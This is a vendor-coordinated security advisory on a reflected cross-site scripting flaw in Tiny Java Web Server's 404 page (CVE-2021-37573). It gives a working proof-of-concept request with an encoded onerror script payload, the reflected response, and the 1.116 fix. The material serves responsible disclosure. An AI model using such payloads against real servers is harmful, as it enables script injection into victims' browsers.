

Tiny Java Web Server 1.115 Cross Site Scripting

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Tiny Java Web Server and Servlet Container versions 1.115 and below suffer from a cross site scripting vulnerability.

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Advisory ID: SYSS-2021-042
Product: Tiny Java Web Server and Servlet Container (TJWS)
Manufacturer: D. Rogatkin
Affected Versions: <= 1.115
Tested Versions: 1.107, 1.114
Vulnerability Type: Cross-Site Scripting (CWE-79)
Risk Level: Medium
Solution Status: Fixed
Manufacturer Notification: 2021-07-21
Solution Date: 2021-07-23
Public Disclosure: 2021-08-03
CVE Reference: CVE-2021-37573
Author of Advisory: Maurizio Ruchay, SysS GmbH

Overview:

Tiny Java Web Server and Servlet Container (TJWS) is a lightweight web server written in Java.

The manufacturer describes the product as follows (see [1]):
"The Miniature Java Web Server is built as a servlet container with HTTPD servlet providing standard Web server functionality."

Due to improper input validation, the application is vulnerable to a reflected cross-site scripting attack.

Vulnerability Details:

It is possible to inject malicious JavaScript code into the server's error page "404 Page Not Found".

The given input is not properly validated and therefore reflected back and executed in a victim's browser.

Proof of Concept (PoC):

The following GET request shows how JavaScript code can be placed on the page:

```
====  
HTTP request:  
GET /te%3Cimg%20src=%3D0nerror%3Dalert(42)%3Est HTTP/1.1  
[...]  
Connection: close  
  
HTTP response:  
HTTP/1.1 404 te%3Cimg src=%3D0nerror%3Dalert(42)%3Est not found  
server: D. Rogatkin's TJWS (4Android, JSR340, JSR356)  
https://github.com/drogatkin/TJWS2.git/Version 1.114  
[...]  
content-length: 338  
connection: close  
  
<HTML><HEAD><TITLE>404 te%3Cimg src=%3D0nerror%3Dalert(42)%3Est not found</TITLE></HEAD><BODY bgcolor=#D1E9FE>  
[...]  
<H2>404 te%3Cimg src=%3D0nerror%3Dalert(42)%3Est not found</H2>  
[...]  
====
```

If a browser renders the response, the JavaScript code is executed showing the message "42".

Solution:

The issue has been addressed in the release version 1.116.[2]
Therefore, all instances of TJWS should be updated to this version.

Disclosure Timeline:

2021-07-02: Vulnerability discovered
2021-07-21: Vulnerability reported to manufacturer
2021-07-23: Patch released by manufacturer
2021-08-03: Public disclosure of vulnerability

References:

[1] Product website for Tiny Java Web Server and Servlet Container (TJWS): <http://tjwa.sourceforge.net/>
[2] Patch release on Github: <https://github.com/drogatkin/TJWS2/releases/tag/v1.116>
[3] SysS Responsible Disclosure Policy: <https://www.sysss.de/en/responsible-disclosure-policy>

Credits:

This security vulnerability was found by Maurizio Ruchay of SysS GmbH.
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